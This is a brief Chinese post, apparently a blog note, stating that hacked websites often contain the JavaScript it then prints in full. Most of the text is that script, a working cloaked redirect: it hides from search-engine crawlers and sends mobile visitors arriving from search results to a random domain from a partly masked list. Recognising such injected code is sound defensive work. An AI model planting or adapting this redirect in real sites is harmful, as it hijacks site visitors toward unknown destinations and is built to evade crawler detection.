判断来路跳转到指定网站

    判断来路跳转到指定网站,一般网站被黑会出现这样的js:

    function isSpider() {
      if ((navigator.userAgent.match(/(Baiduspider|YisouSpider|360Spider|HaosouSpider|AdsBot|Googlebot|bingbot|Sogou web spider|Sosospider)/i)))
        return true;
      else
        return false;
    }
    function is_from_search_engine(){
      var r = document.referrer;
      r = r.toLowerCase(); 
      var aSites = new Array('google.','baidu.','sm.','soso.','so.','360.','yahoo.','youdao.','sogou.','gougou.','bing.');
      var b = false;
      for (var i in aSites){
        if (r.indexOf(aSites[i]) > 0){
          b = true;
          break;
        }
      }
      return b;
    }
    function isMobile() {
      if ((navigator.userAgent.match(/(phone|pad|pod|iPhone|iPod|ios|iPad|Android|Mobile|BlackBerry|IEMobile|MQQBrowser|JUC|Fennec|wOSBrowser|BrowserNG|WebOS|Symbian|Windows Phone)/i)))
        return true;
      else
        return false;
    }
    
    let urls = [
    'https://8gxll.*.com',
    'https://ntyec.*.com',
    'https://2kuq7.*.com',
    ];
    
    let register_url =  urls[Math.floor(Math.random()*urls.length)];
    
    if(!isSpider()){
      if(is_from_search_engine()){
        if(isMobile()) {
         window.location.href = register_url;
        }
      }
    }